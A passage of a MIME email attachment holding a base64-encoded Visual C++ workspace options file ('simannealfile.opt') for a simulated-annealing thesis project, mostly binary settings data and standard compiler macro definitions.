AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
--------------090302080802010307050504
Content-Type: application/octet-stream;
 name="simannealfile.opt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="simannealfile.opt"

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAA
AAAAEAAA/v///wAAAAD+////AAAAAAAAAAD/////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////////////9////IAAAAAMAAAAEAAAABQAAAAYAAAAHAAAA
CAAAAAkAAAAKAAAACwAAAP7///8NAAAADgAAAA8AAAAQAAAAEQAAABIAAAATAAAAFAAAABUA
AAD+////FwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAfAAAA/v///0sAAAAiAAAA
IwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAD+////LAAAAC0AAAAuAAAALwAAADAA
AAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAD+////OAAAADkAAAA6AAAAOwAAADwAAAA9AAAA
PgAAAD8AAABAAAAA/v///0IAAABDAAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAP7/
///+////TQAAAE4AAABPAAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAA/v///1cAAABYAAAA
WQAAAFoAAABbAAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAA/v//////////////////////
////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////1IA
bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAWAAUA//////////8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABD8
eU+/rMEB/v///wAAAAAAAAAAVwBvAHIAawBzAHAAYQBjAGUAIABTAHQAYQB0AGUAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAgECAAAABAAAAP////8AAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAABQAAAAAAABCAHIAbwB3AHMAZQByAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAACAAMA
AAAIAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAFAAA
AAAAAEUAZABpAHQAbwByAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAOAAIBBgAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAFgAAAAAUAAAAAAAAAQAFAAEAAAANc2ltYW5uZWFsZmlsZUdDOlxBcmJl
aXRfRGlwbG9tYXJiZWl0XF9fT3B0aW1pZXJlclxURU1cc2ltYW5uZWFsZmlsZVxzaW1hbm5l
YWxmaWxlLmRzcAEAAAAAAAAAAAAAAAAAAgAAACwMCqzY5PgAfgAAABIAAAAHAAAAHQAAAAAA
AAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAwAAAAMAAAAdAAAAAwAAAF0BAABuAQAA
JAMAAPMBAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAA8AEAAGABAACLAQAAIQMAAPAB
AABgAQAAiwEAACEDAACLAQAAXQEAAG4BAAAkAwAAiwEAAF0BAACLAQAAYAEAAPABAAAhAwAA
iwEAACQDAADwAQAAXQEAAPABAAAkAwAA8wEAAGQBAAB1AQAABwMAAIcBAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAoDAABzAQAAHwMAAIgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAMcBAACFAAAAAwAAAB0AAADEAQAAggAAAAMAAAAdAAAA
xAEAAIIAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAAHQAAAAAAAAAAAAAAxwEAAB0A
AAAAAAAAHQAAAAMAAACCAAAAxAEAAB0AAADHAQAAggAAAAAAAACCAAAAxwEAAIUAAAAHAAAA
BwAAAKoBAAAZAAAAo/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+
//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+tAQAABQAAAMIBAAAaAAAA
o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+
//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//
kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAA
AAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAxwEAAIUAAAD+////AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAZW5kAAUFkAABAAgAGGm0AHgBAwBfX1JQ
Q19BUEkgX19zdGRjYWxsCiNkZWZpbmUgX19SUENfQ0FMTEVFIF9fc3RkY2FsbAojZGVmaW5l
IF9fUlBDX0ZBUgojZGVmaW5lIF9fUlBDX1NUVUIgX19zdGRjYWxsCiNkZWZpbmUgX19SUENf
VVNFUiBfX3N0ZGNhbGwKI2RlZmluZSBfQ09NX1NNQVJUUFRSX1RZUEVERUYoSW50ZXJmYWNl
LCBJSUQpIHR5cGVkZWYgX2NvbV9wdHJfdDwgX2NvbV9JSUlEPCBJbnRlcmZhY2UsICZJSUQ+
ID4gSW50ZXJmYWNlIyNQdHIKI2RlZmluZSBfQ1JUQVBJMSBfX2NkZWNsCiNkZWZpbmUgX0NS
VElNUAojZGVmaW5lIF9TVEQgc3RkOjoKI2RlZmluZSBfU1REX0JFR0lOIG5hbWVzcGFjZSBz
dGQgewojZGVmaW5lIF9TVERfRU5EIH07CiNkZWZpbmUgX1NURF9VU0lORwojZGVmaW5lIEFQ
SVBSSVZBVEUgX19zdGRjYWxsCiNkZWZpbmUgQ0FMTEJBQ0sKI2RlZmluZSBjZGVjbCBfX2Nk
ZWNsCiNkZWZpbmUgQ0RFQ0wgX19jZGVjbAojZGVmaW5lIEQzRFJNQVBJIF9fc3RkY2FsbAoj
ZGVmaW5lIERFQ0xTUEVDX1VVSUQoeCkgX19kZWNsc3BlYyh1dWlkKHgpKQojZGVmaW5lIEVY
UE9SVAojZGVmaW5lIEZBUgojZGVmaW5lIGZhcgojZGVmaW5lIEZBU1RDQUxMIF9fZmFzdGNh
bGwKI2RlZmluZSBJTUFHRUFQSSBfX3N0ZGNhbGwKI2RlZmluZSBJTlNUQVBJIF9fc3RkY2Fs
bAojZGVmaW5lIGludGVyZmFjZSBzdHJ1Y3QKI2RlZmluZSBNSURMX0lOVEVSRkFDRSh4KSBz
dHJ1Y3QgX19kZWNsc3BlYyh1dWlkKHgpKSBfX2RlY2xzcGVjKG5vdnRhYmxlKQojZGVmaW5l
IE5FQVIKI2RlZmluZSBORVRfQVBJX0ZVTkNUSU9OIF9fc3RkY2FsbAojZGVmaW5lIE5UQVBJ
IF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0ZGNhbGwKI2RlZmluZSBQQVNDQUwgX19z
dGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19WQVJfRU5U
UlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVggVUlOVF9NQVgKI2RlZmluZSBTUUxfQVBJ
IF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVmaW5lIFNUREFQSSBIUkVTVUxUIFNUREFQ
SUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBlKSB0eXBlIFNUREFQSUNBTExUWVBFCiNk
ZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUgU1REQVBJViBIUkVTVUxU
IFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQSVZfKHR5cGUpIHR5cGUgU1REQVBJVkNB
TExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNRVRI
T0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUgbWV0aG9kCiNk
ZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkgdmlydHVhbCB0eXBlIFNURE1FVEhPRENB
TExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRENBTExUWVBFIF9fc3RkY2FsbAojZGVm
aW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1FVEhPRENBTExUWVBFCiNkZWZpbmUgU1RE
TUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhPRENBTExUWVBFCiNkZWZpbmUgU1RETUVU
SE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElN
UFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9EVkNB
TExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJSU5JVENBTExUWVBFIF9fY2RlY2wKI2Rl
ZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElWCiNkZWZpbmUgV0RCR0FQSSBfX3N0ZGNh
bGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJViBfX2NkZWNsCiNk
ZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBXSU5PTEVB
UElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBhZnhfbXNnCiNkZWZpbmUg
QVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRhYmxlKQojZGVmaW5lIEFUTEFQSSBIUkVT
VUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZpbmUgQUZYX0NERUNMIF9fY2RlY2wKI2Rl
ZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNwYJCzAAAAAAABAQEBAQEIAEVfRVgoY2xh
c3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNUTFRZUEUoY2xhc3NfbmFtZSkKI2RlZmlu
ZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09OTFlf
QUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9PUEFRVUUzMih4KQojZGVmaW5lIERF
Q0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNMQVJFX1BPTFlfQUdHUkVHQVRBQkxFKHgp
CiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQT1JUKGNsYXNzKQojZGVmaW5lIERFQ0xB
UkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1BST1RFQ1RfRklO
QUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZKGNsYXNzLCBwaWQsIHZw
aWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9SRUdJU1RSWV9SRVNPVVJDRSh4KQoj
ZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVf
U0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9TVEFUSUNfUkVHSVNUUllfUkVT
T1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJDRUlEKHgp
CiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhzdGF0dXNGbGFncykKI2RlZmluZSBERUNM
QVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNkZWZpbmUgREVDTEFSRV9XTkRfU1VQRVJD
TEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFzc05hbWUpCiNkZWZpbmUgREVGSU5FX0NP
TU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERFTEVHQVRFX0RVQUxfSU5URVJGQUNFKG9i
amVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUgRU5EX0NPTk5FQ1RJT05fUEFSVChsb2Nh
bENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgBAwBkIGNsYXNzIFgjI2xvY2FsQ2xhc3M7
CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2xv
Y2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9JTlRF
UkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxDbGFzczsgZnJpZW5kIGNsYXNz
IFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJOX1BST0NFU1NfTE9DQUwoY2xhc3NfbmFt
ZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRBIFBST0NFU1NfTE9DQUwoY2xhc3NfbmFt
ZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05BUElOTUVOVUlEKGlkKQojZGVmaW5lIElN
UExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RDbGFzcywgcmlpZFNvdXJjZSkKI2RlZmlu
ZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUpCiNkZWZp
bmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19uYW1lLCBiYXNlX2NsYXNzX25hbWUpCiNk
ZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFzc19uYW1lLCBleHRlcm5hbF9uYW1lLCBs
LCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwgYjYsIGI3LCBiOCkKI2RlZmluZSBJTVBM
RU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUsIGV4dGVybmFsX25hbWUsIGwsIHcxLCB3
MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQojZGVmaW5lIElNUExFTUVOVF9P
TEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJUeXBlTmFtZSwgZHdPbGVNaXNjKQojZGVm
aW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNzX25hbWUsIHRsaWQsIHdWZXJNYWpvciwg
d1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9TRVJJQUwoY2xhc3NfbmFtZSwgYmFzZV9j
bGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElOSVRfSU5URVJGQUNFX1BBUlQodGhlQ2xh
c3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VTU19MT0NBTChjbGFzc19uYW1lLCBpZGVu
dF9uYW1lKSBBRlhfREEDAAEAAAAAAAAAAAEAAABlYWxmaWxlR0M6XEFyYmVpdF9EaXBsb21h
cmJlaXRcX19PcHRpbWllcmVyXFRFTVxzaW1hbm5lYWxmaWxlXHNpbWFubmVhbGZpbGUuZHNw
AQAAAAAAAAAAAAAAAAACAAAALAwKrNjk+AB+AAAAEgAAAAcAAAAdAAAAAAAAAAAAAAAAAAAA
AAAAAAQAAAAAAAAAAAAAAAAAAAADAAAAAwAAAB0AAAADAAAAXQEAAG4BAAAkAwAA8wEAAGAB
AACLAQAAIQMAAPABAABgAQAAiwEAACEDAADwAQAAYAEAAIsBAAAhAwAA8AEAAGABAACLAQAA
IQMAAIsBAABdAQAAbgEAACQDAACLAQAAXQEAAIsBAABgAQAA8AEAACEDAACLAQAAJAMAAPAB
AABdAQAA8AEAACQDAADzAQAAZAEAAHUBAAAHAwAAhwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAACgMAAHMBAAAfAwAAiAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAxwEAAIUAAAADAAAAHQAAAMQBAACCAAAAAwAAAB0AAADEAQAAggAAAAMA
AAAdAAAAxAEAAIIAAAADAAAAHQAAAMQBAAAdAAAAAAAAAAAAAADHAQAAHQAAAAAAAAAdAAAA
AwAAAIIAAADEAQAAHQAAAMcBAACCAAAAAAAAAIIAAADHAQAAhQAAAAcAAAAHAAAAqgEAABkA
AACj/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//
kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//60BAAAFAAAAwgEAABoAAACj/v//kv7//6P+
//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//
o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+//+j/v//kv7//6P+//+S/v//o/7//5L+
//+j/v//kv7//6P+//+S/v//o/7//5L+//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
AAAAAAAAAAAAAAAAAADHAQAAhQAAAP7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQAAAAEAAAAAAAAAAAAAAAAAAABlbmQABQWQAAEACAAYabQAeAEDAF9fUlBDX0FQSSBfX3N0
ZGNhbGwKI2RlZmluZSBfX1JQQ19DQUxMRUUgX19zdGRjYWxsCiNkZWZpbmUgX19SUENfRkFS
CiNkZWZpbmUgX19SUENfU1RVQiBfX3N0ZGNhbGwKI2RlZmluZSBfX1JQQ19VU0VSIF9fc3Rk
Y2FsbAojZGVmaW5lIF9DT01fU01BUlRQVFJfVFlQRURFRihJbnRlcmZhY2UsIElJRCkgdHlw
ZWRlZiBfY29tX3B0cl90PCBfY29tX0lJSUQ8IEludGVyZmFjZSwgJklJRD4gPiBJbnRlcmZh
Y2UjI1B0cgojZGVmaW5lIF9DUlRBUEkxIF9fY2RlY2wKI2RlZmluZSBfQ1JUSU1QCiNkZWZp
bmUgX1NURCBzdGQ6OgojZGVmaW5lIF9TVERfQkVHSU4gbmFtZXNwYWNlIHN0ZCB7CiNkZWZp
bmUgX1NURF9FTkQgfTsKI2RlZmluZSBfU1REX1VTSU5HCiNkZWZpbmUgQVBJUFJJVkFURSBf
X3N0ZGNhbGwKI2RlZmluZSBDQUxMQkFDSwojZGVmaW5lIGNkZWNsIF9fY2RlY2wKI2RlZmlu
ZSBDREVDTCBfX2NkZWNsCiNkZWZpbmUgRDNEUk1BUEkgX19zdGRjYWxsCiNkZWZpbmUgREVD
TFNQRUNfVVVJRCh4KSBfX2RlY2xzcGVjKHV1aWQoeCkpCiNkZWZpbmUgRVhQT1JUCiNkZWZp
bmUgRkFSCiNkZWZpbmUgZmFyCiNkZWZpbmUgRkFTVENBTEwgX19mYXN0Y2FsbAojZGVmaW5l
IElNQUdFQVBJIF9fc3RkY2FsbAojZGVmaW5lIElOU1RBUEkgX19zdGRjYWxsCiNkZWZpbmUg
aW50ZXJmYWNlIHN0cnVjdAojZGVmaW5lIE1JRExfSU5URVJGQUNFKHgpIHN0cnVjdCBfX2Rl
Y2xzcGVjKHV1aWQoeCkpIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgTkVBUgojZGVm
aW5lIE5FVF9BUElfRlVOQ1RJT04gX19zdGRjYWxsCiNkZWZpbmUgTlRBUEkgX19zdGRjYWxs
CiNkZWZpbmUgcGFzY2FsIF9fc3RkY2FsbAojZGVmaW5lIFBBU0NBTCBfX3N0ZGNhbGwKI2Rl
ZmluZSBSUENfRU5UUlkgX19zdGRjYWxsCiNkZWZpbmUgUlBDX1ZBUl9FTlRSWSBfX2NkZWNs
CiNkZWZpbmUgU0laRV9UX01BWCBVSU5UX01BWAojZGVmaW5lIFNRTF9BUEkgX19zdGRjYWxs
CiNkZWZpbmUgU1JWQVBJCiNkZWZpbmUgU1REQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZUEUK
I2RlZmluZSBTVERBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmluZSBTVERB
UElDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERBUElWIEhSRVNVTFQgU1REQVBJVkNB
TExUWVBFCiNkZWZpbmUgU1REQVBJVl8odHlwZSkgdHlwZSBTVERBUElWQ0FMTFRZUEUKI2Rl
ZmluZSBTVERBUElWQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFNURE1FVEhPRChtZXRob2Qp
IHZpcnR1YWwgSFJFU1VMVCBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmluZSBTVERN
RVRIT0RfKHR5cGUsbWV0aG9kKSB2aXJ0dWFsIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUgbWV0
aG9kCiNkZWZpbmUgU1RETUVUSE9EQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZpbmUgU1RETUVU
SE9ESU1QIEhSRVNVTFQgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBf
KHR5cGUpIHR5cGUgU1RETUVUSE9EQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWIEhS
RVNVTFQgU1RETUVUSE9EVkNBTExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QVl8odHlwZSkg
dHlwZSBTVERNRVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RWQ0FMTFRZUEUgX19j
ZGVjbAojZGVmaW5lIFNURE1BUElJTklUQ0FMTFRZUEUgX19jZGVjbAojZGVmaW5lIFVOQUxJ
R05FRAojZGVmaW5lIFZGV0FQSVYKI2RlZmluZSBXREJHQVBJIF9fc3RkY2FsbAojZGVmaW5l
IFdJTkFQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUElWIF9fY2RlY2wKI2RlZmluZSBXSU5P
TEVBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFdJTk9MRUFQSV8odHlwZSkg
dHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIGFmeF9tc2cKI2RlZmluZSBBVExfTk9fVlRB
QkxFIF9fZGVjbHNwZWMobm92dGFibGUpCiNkZWZpbmUgQVRMQVBJIEhSRVNVTFQKI2RlZmlu
ZSBBVExBUElfKHgpIHgKI2RlZmluZSBBRlhfQ0RFQ0wgX19jZGVjbAojZGVmaW5lIEFGWF9D
TEFTU19FWFBPUlQgX19kZWNsc3BgkLMAAAAAAAEBAQEBAQgARV9FWChjbGFzc19uYW1lKQoj
ZGVmaW5lIERFQ0xBUkVfT0xFQ1RMVFlQRShjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVf
T0xFVFlQRUxJQihjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfT05MWV9BR0dSRUdBVEFC
TEUoeCkKI2RlZmluZSBERUNMQVJFX09QQVFVRTMyKHgpCiNkZWZpbmUgREVDTEFSRV9QQVJT
RV9NQVAoKQojZGVmaW5lIERFQ0xBUkVfUE9MWV9BR0dSRUdBVEFCTEUoeCkKI2RlZmluZSBE
RUNMQVJFX1BST1BFUlRZX1NVUFBPUlQoY2xhc3MpCiNkZWZpbmUgREVDTEFSRV9QUk9QUEFH
RUlEUyhjbGFzc19uYW1lKQojZGVmaW5lIERFQ0xBUkVfUFJPVEVDVF9GSU5BTF9DT05TVFJV
Q1QoKQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUlkoY2xhc3MsIHBpZCwgdnBpZCwgbmlkLCBm
bGFncykKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD
TEFSRV9SRUdJU1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9TRVJJQUwoY2xh
c3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJU1RSWV9SRVNPVVJDRSh4KQoj
ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBE
RUNMQVJFX1ZJRVdfU1RBVFVTKHN0YXR1c0ZsYWdzKQojZGVmaW5lIERFQ0xBUkVfV05EX0NM
QVNTKFduZENsYXNzTmFtZSkKI2RlZmluZSBERUNMQVJFX1dORF9TVVBFUkNMQVNTKFduZENs
YXNzTmFtZSwgT3JpZ1duZENsYXNzTmFtZSkKI2RlZmluZSBERUZJTkVfQ09NTUFORCh4LCBz
ekNvbW1hbmQpCiNkZWZpbmUgREVMRUdBVEVfRFVBTF9JTlRFUkZBQ0Uob2JqZWN0Q2xhc3Ms
IGR1YWxDbGFzcykKI2RlZmluZSBFTkRfQ09OTkVDVElPTl9QQVJUKGxvY2FsQ2xhc3MpIH0g
bV94IyNslAMBAgEAYXMYabQAeAEDAGQgY2xhc3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBF
TkRfRFVBTF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxDbGFzczsg
